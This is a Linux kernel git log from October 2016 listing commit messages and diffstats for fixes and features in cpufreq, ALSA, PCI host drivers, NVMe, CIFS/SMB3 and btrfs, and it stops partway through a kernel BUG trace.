deletion(-) commit 0843e83c1a4aa67e08f424430526c948d591d5f1 Author: Rafael J. Wysocki Date: Thu Oct 6 14:07:51 2016 +0200 cpufreq: intel_pstate: Proportional algorithm for Atom The PID algorithm used by the intel_pstate driver tends to drive performance to the minimum for workloads with utilization below the setpoint, which is undesirable, so replace it with a modified "proportional" algorithm on Atom. The new algorithm will set the new P-state to be 1.25 times the available maximum times the (frequency-invariant) utilization during the previous sampling period except when the target P-state computed this way is lower than the average P-state during the previous sampling period. In the latter case, it will increase the target by 50% of the difference between it and the average P-state to prevent performance from dropping down too fast in some cases. Signed-off-by: Rafael J. Wysocki Tested-by: Srinivas Pandruvada drivers/cpufreq/intel_pstate.c | 22 +++++++++++++++++++++- 1 file changed, 21 insertions(+), 1 deletion(-) commit b67be92feb486f800d80d72c67fd87b47b79b18e Merge: 2d2474a dc8e6e1 Author: Linus Torvalds Date: Wed Oct 12 11:11:05 2016 -0700 Merge tag 'pwm/for-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/thierry.reding/linux-pwm Pull pwm updates from Thierry Reding: "This set of changes contains support for PWM signal capture in the STi driver as well as support for the PWM controller found on Meson SoCs. There's also support added for the MediaTek MT2701 and SunXi H3 to the existing drivers. Other than that there's a fair set of miscellaneous cleanups and fixes across the board" * tag 'pwm/for-4.9-rc1' of git://git.kernel.org/pub/scm/linux/kernel/git/thierry.reding/linux-pwm: (24 commits) pwm: meson: Handle unknown ID values pwm: sti: Take the opportunity to conduct a little house keeping pwm: sti: It's now valid for number of PWM channels to be zero pwm: sti: Add PWM capture callback pwm: sti: Add support for PWM capture interrupts pwm: sti: Initialise PWM capture device data pwm: sti: Supply PWM Capture clock handling pwm: sti: Supply PWM capture register addresses and bit locations pwm: sti: Only request clock rate when needed pwm: sti: Reorganise register names in preparation for new functionality pwm: sti: Rename channel => device dt-bindings: pwm: sti: Update DT bindings for capture support pwm: lpc-18xx: use pwm_set_chip_data pwm: sunxi: Add H3 support pwm: Add support for Meson PWM Controller dt-bindings: pwm: Add bindings for Meson PWM Controller pwm: samsung: Fix to use lowest div for large enough modulation bits pwm: pwm-tipwmss: Remove all runtime PM gets/puts pwm: cros-ec: Add __packed to prevent padding pwm: Add MediaTek MT2701 display PWM driver support ... commit fdd8218d7d1bd0ccb9a3f4c58bf77773691a56cc Author: Dan Carpenter Date: Wed Oct 12 09:21:40 2016 +0300 ALSA: line6: fix a crash in line6_hwdep_write() The error checking here is messed up so we could end up dereferencing -EFAULT. Fixes: a16039cbf1a1 ('ALSA: line6: Add hwdep interface to access the POD control messages') Signed-off-by: Dan Carpenter Reviewed-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/usb/line6/driver.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 30c0702246ac1ba955aa97d698610169242f59f1 Author: Takashi Sakamoto Date: Wed Oct 12 09:05:50 2016 +0900 ALSA: seq: fix passing wrong pointer in function call of compatibility layer This commit is a fix for Linux 4.9-rc1. In former commit, a function call of compatibility layer for ALSA sequencer core was obsoleted by an alternative. Although, the alternative gets a pointer to kernel stack due to mis-programming. As a result, ALSA sequencer core unexpectedly refers over kernel stack. Reported-by: Dan Carpenter Fixes: 8ce8eb601c71 ("ALSA: seq: add an alternative way to handle ioctl requests") Signed-off-by: Takashi Sakamoto Signed-off-by: Takashi Iwai sound/core/seq/seq_compat.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4875a5f7218068cdeea5f998330dfa3d118b2fea Author: Hui Wang Date: Tue Oct 11 10:48:58 2016 +0800 ALSA: hda - Fix a failure of micmute led when having multi adcs On a Dell laptop, there is no global adcs for all input devices, so the input devices use the different adc, as a result, dyn_adc_switch is set to true. In this situation, it is safe to control the micmute led according to user's choice of muting/unmuting the current input device, since only current input device path is active, while other input device paths are inactive and powered down. Fixes: 00ef99408b6c ('ALSA: hda - add mic mute led hook for dell machines') Cc: Signed-off-by: Hui Wang Signed-off-by: Takashi Iwai sound/pci/hda/dell_wmi_helper.c | 2 +- sound/pci/hda/thinkpad_helper.c | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 2d2474a194652f55c7af51068db3c1b851f16711 Merge: 084165a 43720df Author: Linus Torvalds Date: Wed Oct 12 11:05:23 2016 -0700 Merge branch 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/rzhang/linux Pull thermal managament updates from Zhang Rui: - Enhance thermal "userspace" governor to export the reason when a thermal event is triggered and delivered to user space. From Srinivas Pandruvada - Introduce a single TSENS thermal driver for the different versions of the TSENS IP that exist, on different qcom msm/apq SoCs'. Support for msm8916, msm8960, msm8974 and msm8996 families is also added. From Rajendra Nayak - Introduce hardware-tracked trip points support to the device tree thermal sensor framework. The framework supports an arbitrary number of trip points. Whenever the current temperature is changed, the trip points immediately below and above the current temperature are found, driver callback is invoked to program the hardware to get notified when either of the two trip points are triggered. Hardware-tracked trip points support for rockchip thermal driver is also added at the same time. From Sascha Hauer, Caesar Wang - Introduce a new thermal driver, which enables TMU (Thermal Monitor Unit) on QorIQ platform. From Jia Hongtao - Introduce a new thermal driver for Maxim MAX77620. From Laxman Dewangan - Introduce a new thermal driver for Intel platforms using WhiskeyCove PMIC. From Bin Gao - Add mt2701 chip support to MTK thermal driver. From Dawei Chien - Enhance Tegra thermal driver to enable soctherm node and set "critical", "hot" trips, for Tegra124, Tegra132, Tegra210. From Wei Ni - Add resume support for tango thermal driver. From Marc Gonzalez - several small fixes and improvements for rockchip, qcom, imx, rcar, mtk thermal drivers and thermal core code. From Caesar Wang, Keerthy, Rocky Hao, Wei Yongjun, Peter Robinson, Bui Duc Phuc, Axel Lin, Hugh Kang * 'next' of git://git.kernel.org/pub/scm/linux/kernel/git/rzhang/linux: (48 commits) thermal: int3403: Process trip change notification thermal: int340x: New Interface to read trip and notify thermal: user_space gov: Add additional information in uevent thermal: Enhance thermal_zone_device_update for events arm64: tegra: set hot trips for Tegra210 arm64: tegra: set critical trips for Tegra210 arm64: tegra: add soctherm node for Tegra210 arm64: tegra: set hot trips for Tegra132 arm64: tegra: set critical trips for Tegra132 arm64: tegra: use tegra132-soctherm for Tegra132 arm: tegra: set hot trips for Tegra124 arm: tegra: set critical trips for Tegra124 thermal: tegra: add hw-throttle for Tegra132 thermal: tegra: add hw-throttle function of: Add bindings of hw throttle for Tegra soctherm thermal: mtk_thermal: Check return value of devm_thermal_zone_of_sensor_register thermal: Add Mediatek thermal driver for mt2701. dt-bindings: thermal: Add binding document for Mediatek thermal controller thermal: max77620: Add thermal driver for reporting junction temp thermal: max77620: Add DT binding doc for thermal driver ... commit 084165a3f8c8a88c83bdfa3941f897ae0f020211 Merge: ef6000b c456a2f Author: Linus Torvalds Date: Wed Oct 12 11:01:37 2016 -0700 Merge tag 'fbdev-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tomba/linux Pull fbdev updates from Tomi Valkeinen: "Main changes: - amba-cldc: DT backlight support, Nomadik support, Versatile improvements, fixes - efifb: fix fbcon RGB565 palette - exynos: remove unused DSI driver" * tag 'fbdev-4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/tomba/linux: (42 commits) video: smscufx: remove unused variable matroxfb: fix size of memcpy fbdev: ssd1307fb: fix a possible NULL dereference fbdev: ssd1307fb: constify the device_info pointer simplefb: Disable and release clocks and regulators in destroy callback video: fbdev: constify fb_fix_screeninfo and fb_var_screeninfo structures matroxfb: constify local structures video: fbdev: i810: add in missing white space in error message text video: fbdev: add missing \n at end of printk error message ARM: exynos_defconfig: Remove old non-working MIPI driver video: fbdev: exynos: Remove old non-working MIPI driver omapfb: fix return value check in dsi_bind() MAINTAINERS: update fbdev entries video: fbdev: offb: Call pci_enable_device() before using the PCI VGA device fbdev: vfb: simplify memory management fbdev: vfb: add option for video mode fbdev: vfb: add description to module parameters video: fbdev: intelfb: remove impossible condition fb: adv7393: off by one in probe function video: fbdev: pxafb: add missing of_node_put() in of_get_pxafb_mode_info() ... commit ef6000b4c6706cbb1787836442b5a74542b1809f Author: Linus Torvalds Date: Wed Oct 12 10:23:41 2016 -0700 Disable the __builtin_return_address() warning globally after all This affectively reverts commit 377ccbb48373 ("Makefile: Mute warning for __builtin_return_address(>0) for tracing only") because it turns out that it really isn't tracing only - it's all over the tree. We already also had the warning disabled separately for mm/usercopy.c (which this commit also removes), and it turns out that we will also want to disable it for get_lock_parent_ip(), that is used for at least TRACE_IRQFLAGS. Which (when enabled) ends up being all over the tree. Steven Rostedt had a patch that tried to limit it to just the config options that actually triggered this, but quite frankly, the extra complexity and abstraction just isn't worth it. We have never actually had a case where the warning is actually useful, so let's just disable it globally and not worry about it. Acked-by: Steven Rostedt Cc: Thomas Gleixner Cc: Andrew Morton Cc: Ingo Molnar Cc: Peter Anvin Signed-off-by: Linus Torvalds Makefile | 1 + kernel/trace/Makefile | 4 ---- mm/Makefile | 3 --- 3 files changed, 1 insertion(+), 7 deletions(-) commit 202021c1a63c6ed69b3260e0fe10530c51f1e53e Author: Stephen Bates Date: Wed Oct 5 20:01:12 2016 -0600 nvme : Add sysfs entry for NVMe CMBs when appropriate Add a sysfs attribute that contains salient information about the NVMe Controller Memory Buffer when one is present. For now, just display the information about the CMB available from the control registers. We attach the CMB attribute file to the existing nvme_ctrl sysfs group so it can handle the sysfs teardown. Reviewed-by: Sagi Grimberg Reviewed-by: Jay Freyensee Signed-off-by: Stephen Bates Acked-by Jon Derrick: Signed-off-by: Jens Axboe drivers/nvme/host/pci.c | 44 +++++++++++++++++++++++++++++++++++--------- 1 file changed, 35 insertions(+), 9 deletions(-) commit 141891f4727c08829755be6c785e125d2e96c899 Author: Steve French Date: Fri Sep 23 00:44:16 2016 -0500 SMB3: Add mount parameter to allow user to override max credits Add mount option "max_credits" to allow setting maximum SMB3 credits to any value from 10 to 64000 (default is 32000). This can be useful to workaround servers with problems allocating credits, or to throttle the client to use smaller amount of simultaneous i/o or to workaround server performance issues. Also adds a cap, so that even if the server granted us more than 65000 credits due to a server bug, we would not use that many. Signed-off-by: Steve French fs/cifs/cifsglob.h | 16 +++++++++++++++- fs/cifs/connect.c | 19 ++++++++++++++++--- fs/cifs/smb2glob.h | 10 ---------- fs/cifs/smb2ops.c | 4 ++++ fs/cifs/smb2pdu.c | 4 ++-- 5 files changed, 37 insertions(+), 16 deletions(-) commit 52ace1ef1259e119a24a34b45cb800c4e7529090 Author: Steve French Date: Thu Sep 22 19:23:56 2016 -0500 fs/cifs: reopen persistent handles on reconnect Continuous Availability features like persistent handles require that clients reconnect their open files, not just the sessions, soon after the network connection comes back up, otherwise the server will throw away the state (byte range locks, leases, deny modes) on those handles after a timeout. Add code to reconnect handles when use_persistent set (e.g. Continuous Availability shares) after tree reconnect. Signed-off-by: Aurelien Aptel Reviewed-by: Germano Percossi Signed-off-by: Steve French fs/cifs/cifsproto.h | 2 ++ fs/cifs/file.c | 18 ++++++++++++++++++ fs/cifs/smb2pdu.c | 5 +++++ 3 files changed, 25 insertions(+) commit 3afca265b5f53a0b15b79531c13858049505582d Author: Steve French Date: Thu Sep 22 18:58:16 2016 -0500 Clarify locking of cifs file and tcon structures and make more granular Remove the global file_list_lock to simplify cifs/smb3 locking and have spinlocks that more closely match the information they are protecting. Add new tcon->open_file_lock and file->file_info_lock spinlocks. Locks continue to follow a heirachy, cifs_socket --> cifs_ses --> cifs_tcon --> cifs_file where global tcp_ses_lock still protects socket and cifs_ses, while the the newer locks protect the lower level structure's information (tcon and cifs_file respectively). CC: Stable Signed-off-by: Steve French Signed-off-by: Pavel Shilovsky Reviewed-by: Aurelien Aptel Reviewed-by: Germano Percossi fs/cifs/cifsfs.c | 1 - fs/cifs/cifsglob.h | 30 ++++++++++++------------- fs/cifs/cifssmb.c | 4 ++-- fs/cifs/file.c | 66 ++++++++++++++++++++++++++++++++---------------------- fs/cifs/misc.c | 15 +++++++------ fs/cifs/readdir.c | 6 ++--- fs/cifs/smb2misc.c | 16 ++++++------- 7 files changed, 75 insertions(+), 63 deletions(-) commit d171356ff11ab1825e456dfb979755e01b3c54a1 Author: Sachin Prabhu Date: Tue Sep 6 13:22:34 2016 +0100 Fix regression which breaks DFS mounting Patch a6b5058 results in -EREMOTE returned by is_path_accessible() in cifs_mount() to be ignored which breaks DFS mounting. Signed-off-by: Sachin Prabhu Reviewed-by: Aurelien Aptel CC: Stable Signed-off-by: Steve French fs/cifs/connect.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 94f873717571c759b7928399cbbddfa3d569bd01 Author: Aurelien Aptel Date: Thu Sep 22 07:38:50 2016 +0200 fs/cifs: keep guid when assigning fid to fileinfo When we open a durable handle we give a Globally Unique Identifier (GUID) to the server which we must keep for later reference e.g. when reopening persistent handles on reconnection. Without this the GUID generated for a new persistent handle was lost and 16 zero bytes were used instead on re-opening. Signed-off-by: Aurelien Aptel CC: Stable Signed-off-by: Steve French fs/cifs/smb2ops.c | 1 + 1 file changed, 1 insertion(+) commit fa70b87cc6641978b20e12cc5d517e9ffc0086d4 Author: Steve French Date: Thu Sep 22 00:39:34 2016 -0500 SMB3: GUIDs should be constructed as random but valid uuids GUIDs although random, and 16 bytes, need to be generated as proper uuids. Signed-off-by: Steve French Reviewed-by: Aurelien Aptel Reported-by: David Goebels CC: Stable fs/cifs/cifsfs.c | 2 +- fs/cifs/connect.c | 2 +- fs/cifs/smb2ops.c | 2 +- fs/cifs/smb2pdu.c | 2 +- 4 files changed, 4 insertions(+), 4 deletions(-) commit c2afb8147e69819885493edf3a7c1ce03aaf2d4e Author: Steve French Date: Tue Sep 20 22:56:13 2016 -0500 Set previous session id correctly on SMB3 reconnect Signed-off-by: Steve French CC: Stable Reported-by: David Goebel fs/cifs/smb2pdu.c | 5 +++++ fs/cifs/smb2pdu.h | 2 +- 2 files changed, 6 insertions(+), 1 deletion(-) commit 7d414f396c91a3382e51cf628c1cf0709ad0188b Author: Ross Lagerwall Date: Tue Sep 20 13:37:13 2016 +0100 cifs: Limit the overall credit acquired The kernel client requests 2 credits for many operations even though they only use 1 credit (presumably to build up a buffer of credit). Some servers seem to give the client as much credit as is requested. In this case, the amount of credit the client has continues increasing to the point where (server->credits * MAX_BUFFER_SIZE) overflows in smb2_wait_mtu_credits(). Fix this by throttling the credit requests if an set limit is reached. For async requests where the credit charge may be > 1, request as much credit as what is charged. The limit is chosen somewhat arbitrarily. The Windows client defaults to 128 credits, the Windows server allows clients up to 512 credits (or 8192 for Windows 2016), and the NetApp server (and at least one other) does not limit clients at all. Choose a high enough value such that the client shouldn't limit performance. This behavior was seen with a NetApp filer (NetApp Release 9.0RC2). Signed-off-by: Ross Lagerwall CC: Stable Signed-off-by: Steve French fs/cifs/smb2glob.h | 10 ++++++++++ fs/cifs/smb2pdu.c | 18 +++++++++++++++++- 2 files changed, 27 insertions(+), 1 deletion(-) commit 9742805d6b1bfb45d7f267648c34fb5bcd347397 Author: Steve French Date: Mon Sep 19 22:06:35 2016 -0500 Display number of credits available In debugging smb3, it is useful to display the number of credits available, so we can see when the server has not granted sufficient operations for the client to make progress, or alternatively the client has requested too many credits (as we saw in a recent bug) so we can compare with the number of credits the server thinks we have. Add a /proc/fs/cifs/DebugData line to display the client view on how many credits are available. Signed-off-by: Steve French Reported-by: Germano Percossi CC: Stable fs/cifs/cifs_debug.c | 1 + 1 file changed, 1 insertion(+) commit 6609804413ae5b84830e35fdd3a7b7fe4149cf71 Author: Steve French Date: Tue Sep 20 03:05:57 2016 -0500 Add way to query creation time of file via cifs xattr Add parsing for new pseudo-xattr user.cifs.creationtime file attribute to allow backup and test applications to view birth time of file on cifs/smb3 mounts. Signed-off-by: Steve French fs/cifs/xattr.c | 28 +++++++++++++++++++++++++++- 1 file changed, 27 insertions(+), 1 deletion(-) commit a958fff2429525692c571bb6421b606fb0fef50a Author: Steve French Date: Mon Sep 19 11:14:06 2016 -0500 Add way to query file attributes via cifs xattr Add parsing for new pseudo-xattr user.cifs.dosattrib file attribute so tools can recognize what kind of file it is, and verify if common SMB3 attributes (system, hidden, archive, sparse, indexed etc.) are set. Signed-off-by: Steve French Reviewed-by: Pavel Shilovsky fs/cifs/xattr.c | 34 +++++++++++++++++++++++++++++++++- 1 file changed, 33 insertions(+), 1 deletion(-) commit 217c6d21e9245e590971905fd4501fd53730c800 Merge: 22c7e1d 3dc9d38 7c62efc 8e5ec41 6b1f185 f84cfdf 9ab021b 4841f3ad 6caaa28 ee05369 6a43a42 Author: Bjorn Helgaas Date: Wed Oct 12 11:15:06 2016 -0500 Merge branches 'pci/host-armada', 'pci/host-artpec', 'pci/host-dra7xx', 'pci/host-exynos', 'pci/host-hisi', 'pci/host-imx6', 'pci/host-keystone', 'pci/host-layerscape', 'pci/host-qcom' and 'pci/host-spear' into next * pci/host-armada: MAINTAINERS: Add maintainer for the PCIe Marvell Armada 8K driver PCI: armada: Reorder struct armada8k_pcie PCI: armada: Pass device-specific struct to internal functions PCI: armada: Use generic DesignWare accessors PCI: armada: Remove redundant struct armada8k_pcie.base PCI: armada: Add local base pointer PCI: armada: Remove unused platform data * pci/host-artpec: PCI: artpec6: Add resource name comments PCI: artpec6: Pass device-specific struct to internal functions PCI: artpec6: Remove unnecessary artpec6_pcie_link_up() PCI: artpec6: Use generic DesignWare accessors PCI: artpec6: Add register accessors PCI: artpec6: Remove unused platform data PCI: artpec6: Add local struct device pointers * pci/host-dra7xx: PCI: dra7xx: Reorder struct dra7xx_pcie PCI: dra7xx: Move struct pcie_port setup to probe function PCI: dra7xx: Pass device-specific struct to internal functions PCI: dra7xx: Use generic DesignWare accessors PCI: dra7xx: Set drvdata at end of probe function PCI: dra7xx: Remove redundant struct device pointer from dra7xx_pcie PCI: dra7xx: Add local struct device pointers * pci/host-exynos: PCI: exynos: Reorder struct exynos_pcie PCI: exynos: Pass device-specific struct to internal functions PCI: exynos: Name private struct pointer "exynos_pcie" consistently PCI: exynos: Uninline register accessors PCI: exynos: Add local struct device pointers * pci/host-hisi: PCI: hisi: Reorder struct hisi_pcie PCI: hisi: Pass device-specific struct to internal functions PCI: hisi: Include register block base in PCIE_SYS_STATE4 address PCI: hisi: Use generic DesignWare accessors PCI: hisi: Remove redundant struct hisi_pcie.reg_base PCI: hisi: Name private struct pointer "hisi_pcie" consistently PCI: hisi: Remove unused platform data PCI: hisi: Add local struct device pointers * pci/host-imx6: PCI: imx6: Remove unused return values PCI: imx6: Reorder struct imx6_pcie PCI: imx6: Use generic DesignWare accessors PCI: imx6: Pass device-specific struct to internal functions PCI: imx6: Pass struct imx6_pcie to PHY accessors PCI: imx6: Removed unused struct imx6_pcie.mem_base PCI: imx6: Remove redundant of_node pointer PCI: imx6: Add local struct device pointers * pci/host-keystone: PCI: keystone: Reorder struct keystone_pcie PCI: keystone: Add app register accessors PCI: keystone: Pass keystone_pcie, not va_app_base, to DBI functions PCI: keystone: Pass keystone_pcie, not address, to IRQ functions PCI: keystone: Use generic DesignWare accessors PCI: keystone: Add local struct device pointers * pci/host-layerscape: PCI: layerscape: Reorder struct ls_pcie PCI: layerscape: Remove unused ls_add_pcie_port() platform_device arg PCI: layerscape: Move struct pcie_port setup to probe function PCI: layerscape: Pass device-specific struct to internal functions PCI: layerscape: Remove redundant struct ls_pcie.dbi PCI: layerscape: Remove unused platform data PCI: layerscape: Add local struct device pointers * pci/host-qcom: PCI: qcom: Reorder struct qcom_pcie PCI: qcom: Remove redundant struct qcom_pcie.dev PCI: qcom: Remove redundant struct qcom_pcie.dbi PCI: qcom: Remove unused platform data * pci/host-spear: PCI: spear: Clean up struct device usage PCI: spear: Reorder struct spear13xx_pcie PCI: spear: Pass device-specific struct to internal functions PCI: spear: Remove unused constants commit 22c7e1d4b48f61138a9e81270beaf73e98099adf Merge: dd5bba5 4c9441d Author: Bjorn Helgaas Date: Wed Oct 12 11:14:58 2016 -0500 Merge branch 'pci/host-designware' into next * pci/host-designware: PCI: designware-plat: Remove unused platform data PCI: designware-plat: Add local struct device pointers PCI: designware-plat: Remove redundant dw_plat_pcie.mem_base PCI: designware: Swap order of dw_pcie_writel_unroll() reg/val arguments PCI: designware: Uninline register accessors PCI: designware: Export dw_pcie_readl_rc(), dw_pcie_writel_rc() PCI: designware: Swap order of dw_pcie_writel_rc() reg/val arguments PCI: designware: Simplify pcie_host_ops.readl_rc() and .writel_rc() interfaces PCI: designware: Simplify dw_pcie_readl_unroll(), dw_pcie_writel_unroll() PCI: designware: Rename dw_pcie_valid_config() to dw_pcie_valid_device() commit dd5bba52d3efe13ea43ca95d72f2ed2cd3f1e612 Merge: bdf5309 441106d 4f27628 e3a1698 96f6170 de9e6bc 08015ee 16cbff1 8e93c51 228ee66 Author: Bjorn Helgaas Date: Wed Oct 12 11:14:44 2016 -0500 Merge branches 'pci/host-aardvark', 'pci/host-altera', 'pci/host-iproc', 'pci/host-mvebu', 'pci/host-rcar', 'pci/host-rockchip', 'pci/host-tegra', 'pci/host-xgene' and 'pci/host-xilinx' into next * pci/host-aardvark: MAINTAINERS: Add DT binding to the Aardvark PCIe driver maintainer PCI: aardvark: Remove unused platform data PCI: aardvark: Add local struct device pointers * pci/host-altera: PCI: altera: Simplify TLP_CFG_DW1 usage PCI: altera: Simplify TLB_CFG_DW0 usage PCI: altera: Rename altera_pcie_valid_config() to altera_pcie_valid_device() PCI: altera: Remove redundant platform_get_resource() return value check PCI: altera: Remove unused platform data PCI: altera: Add local struct device pointers * pci/host-iproc: PCI: iproc: Hard-code PCIe capability offset instead of searching PCI: iproc: Remove redundant null pointer checking PCI: iproc: Validate CSR base in BCMA setup code PCI: iproc: Set drvdata at end of probe function PCI: iproc: Add local struct device pointers * pci/host-mvebu: PCI: mvebu: Use existing of_node pointer PCI: mvebu: Add local struct device pointers * pci/host-rcar: PCI: rcar-gen2: Add local struct device pointers PCI: rcar: Remove DRV_NAME macro PCI: rcar: Remove unused rcar_pcie_get_resources() platform_device arg PCI: rcar: Remove unused platform data PCI: rcar: Add local struct device pointers * pci/host-rockchip: PCI: rockchip: Indent "if" statement body PCI: rockchip: Remove unused platform data * pci/host-tegra: PCI: tegra: Remove unused platform data PCI: tegra: Add local struct device pointers PCI: tegra: Fix argument order in tegra_pcie_phy_disable() * pci/host-xgene: PCI: xgene: Add register accessors PCI: xgene: Pass struct xgene_pcie_port to setup functions PCI: xgene: Remove unused platform data PCI: xgene: Add local struct device pointers * pci/host-xilinx: PCI: xilinx-nwl: Remove unused platform data PCI: xilinx-nwl: Add local struct device pointers PCI: xilinx: Removed unused xilinx_pcie_assign_msi() argument PCI: xilinx: Remove unused platform data PCI: xilinx: Add local struct device pointers commit 3dc9d38c0cf6048b2163b4a233c423746b29cc9d Author: Thomas Petazzoni Date: Fri Oct 7 22:30:30 2016 +0200 MAINTAINERS: Add maintainer for the PCIe Marvell Armada 8K driver Signed-off-by: Thomas Petazzoni Signed-off-by: Bjorn Helgaas MAINTAINERS | 8 ++++++++ 1 file changed, 8 insertions(+) commit 441106d934d939af740b3cf9c1fb3a841daeff68 Author: Thomas Petazzoni Date: Fri Oct 7 22:30:31 2016 +0200 MAINTAINERS: Add DT binding to the Aardvark PCIe driver maintainer Signed-off-by: Thomas Petazzoni Signed-off-by: Bjorn Helgaas MAINTAINERS | 1 + 1 file changed, 1 insertion(+) commit c5f6ce97c12104668784ee17fb927c52a944d3d8 Author: Keith Busch Date: Wed Oct 5 16:32:45 2016 -0400 nvme: don't schedule multiple resets The queue_work only fails if the work is pending, but not yet running. If the work is running, the work item would get requeued, triggering a double reset. If the first reset fails for any reason, the second reset triggers: WARN_ON(dev->ctrl.state == NVME_CTRL_RESETTING) Hitting that schedules controller deletion for a second time, which potentially takes a reference on the device that is being deleted. If the reset occurs at the same time as a hot removal event, this causes a double-free. This patch has the reset helper function check if the work is busy prior to queueing, and changes all places that schedule resets to use this function. Since most users don't want to sync with that work, the "flush_work" is moved to the only caller that wants to sync. Signed-off-by: Keith Busch Reviewed-by: Sagi Grimberg Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe drivers/nvme/host/pci.c | 22 +++++++++++++--------- 1 file changed, 13 insertions(+), 9 deletions(-) commit 7065906096273b39b90a512a7170a6697ed94b23 Author: Keith Busch Date: Wed Oct 12 09:22:16 2016 -0600 nvme: Delete created IO queues on reset The driver was decrementing the online_queues prior to attempting to delete those IO queues, so the driver ended up not requesting the controller delete any. This patch saves the online_queues prior to suspending them, and adds that parameter for deleting io queues. Fixes: c21377f8 ("nvme: Suspend all queues before deletion") Signed-off-by: Keith Busch Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe drivers/nvme/host/pci.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 0df1e4f5e0e831670f43bd198623b303ba09cbc0 Author: Keith Busch Date: Tue Oct 11 13:31:58 2016 -0400 nvme: Stop probing a removed device There is no reason the nvme controller can ever return all 1's from reading the CSTS register. This patch returns an error if we observe that status. Without this, we may incorrectly proceed with controller initialization and unnecessarilly rely on error handling to clean this. Signed-off-by: Keith Busch Signed-off-by: Jens Axboe drivers/nvme/host/core.c | 2 ++ 1 file changed, 2 insertions(+) commit 1fa9ce8d0e903449842943a77e8ba100169964be Author: Tomasz Majchrzak Date: Wed Oct 12 12:23:08 2016 +0200 badblocks: fix overlapping check for clearing Current bad block clear implementation assumes the range to clear overlaps with at least one bad block already stored. If given range to clear precedes first bad block in a list, the first entry is incorrectly updated. Check not only if stored block end is past clear block end but also if stored block start is before clear block end. Signed-off-by: Tomasz Majchrzak Acked-by: NeilBrown Signed-off-by: Jens Axboe block/badblocks.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 74f1077b5b783e7bf4fa3007cefdc8dbd6c07518 Author: Marcin Nowakowski Date: Wed Oct 12 09:32:56 2016 +0200 MIPS: ptrace: Fix regs_return_value for kernel context Currently regs_return_value always negates reg[2] if it determines the syscall has failed, but when called in kernel context this check is invalid and may result in returning a wrong value. This fixes errors reported by CONFIG_KPROBES_SANITY_TEST Fixes: d7e7528bcd45 ("Audit: push audit success and retcode into arch ptrace.h") Signed-off-by: Marcin Nowakowski Cc: linux-mips@linux-mips.org Cc: stable@vger.kernel.org # 3.3+ Patchwork: https://patchwork.linux-mips.org/patch/14381/ Signed-off-by: Ralf Baechle arch/mips/include/asm/ptrace.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 08015ee0ff8a221bdc9ee66cfcc7e3379e9bcd28 Author: Dan Carpenter Date: Wed Oct 12 07:14:09 2016 -0500 PCI: rockchip: Indent "if" statement body Body of an "if" statement wasn't indented. Add a tab. Signed-off-by: Dan Carpenter Signed-off-by: Bjorn Helgaas drivers/pci/host/pcie-rockchip.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1cd713762e4cd5378a488fd6eaa7507bf030a832 Author: Oleksij Rempel Date: Wed Jun 29 16:40:01 2016 +0200 rtc: rv8803: set VDETOFF and SWOFF via device tree There might be designs where the power supply circuit is designed in a way that VDETOFF and SWOFF is required to be set. Otherwise the RTC detects a power loss. Add a device tree interface for this. Signed-off-by: Carsten Resch Signed-off-by: Dirk Behme Signed-off-by: Oleksij Rempel Signed-off-by: Alexandre Belloni drivers/rtc/rtc-rv8803.c | 50 ++++++++++++++++++++++++++++++++++++++++++++++-- 1 file changed, 48 insertions(+), 2 deletions(-) commit eff6675b5cc191308c0144dcd5dd2b49257e83d7 Author: Oleksij Rempel Date: Wed Jun 29 16:40:00 2016 +0200 dt/bindings: Add bindings for Micro Crystal rv8803 ... and Epson RX8900 real time clock Signed-off-by: Oleksij Rempel Acked-by: Rob Herring Signed-off-by: Alexandre Belloni .../devicetree/bindings/rtc/epson,rx8900.txt | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) commit 0f2065177ba994dfdf0d83d9ec1bd8d90ea7b7bb Author: Oleksij Rempel Date: Wed Jun 29 16:39:59 2016 +0200 devicetree: Add Micro Crystal AG vendor id Add Micro Crystal AG vendor id Signed-off-by: Oleksij Rempel Acked-by: Rob Herring Signed-off-by: Alexandre Belloni Documentation/devicetree/bindings/vendor-prefixes.txt | 1 + 1 file changed, 1 insertion(+) commit d5e84fd8d0634d056248b67463b42f6c85896a19 Author: Filipe Manana Date: Mon Sep 19 10:57:40 2016 +0100 Btrfs: fix incremental send failure caused by balance Commit 951555856b88 ("Btrfs: send, don't bug on inconsistent snapshots") removed some BUG_ON() statements (replacing them with returning errors to user space and logging error messages) when a snapshot is in an inconsistent state due to failures to update a delayed inode item (ENOMEM or ENOSPC) after adding/updating/deleting references, xattrs or file extent items. However there is a case, when no errors happen, where a file extent item can be modified without having the corresponding inode item updated. This case happens during balance under very specific timings, when relocation is in the stage where it updates data pointers and a leaf that contains file extent items is COWed. When that happens file extent items get their disk_bytenr field updated to a new value that reflects the post relocation logical address of the extent, without updating their respective inode items (as there is nothing that needs to be updated on them). This is performed at relocation.c:replace_file_extents() through relocation.c:btrfs_reloc_cow_block(). So make an incremental send deal with this case and don't do any processing for a file extent item that got its disk_bytenr field updated by relocation, since the extent's data is the same as the one pointed by the file extent item in the parent snapshot. After the recent commit mentioned above this case resulted in EIO errors returned to user space (and an error message logged to dmesg/syslog) when doing an incremental send, while before it, it resulted in hitting a BUG_ON leading to the following trace: [ 952.206705] ------------[ cut here ]------------ [ 952.206714] kernel BUG at ../fs/btrfs/send.c:5653! [ 952.206719] Internal error: Oops - BUG: 0 [#1] SMP [ 952.209854] Modules linked in: st dm_mod nls_utf8 isofs fuse nf_log_ipv6 xt_pkttype xt_physdev br_netfilter nf_log_ipv4 nf_log_common xt_LOG xt_limit ebtable_filter ebtables af_packet bridge stp llc ip6t_REJECT xt_tcpudp nf_conntrack_ipv6 nf_defrag_ipv6 ip6table_raw 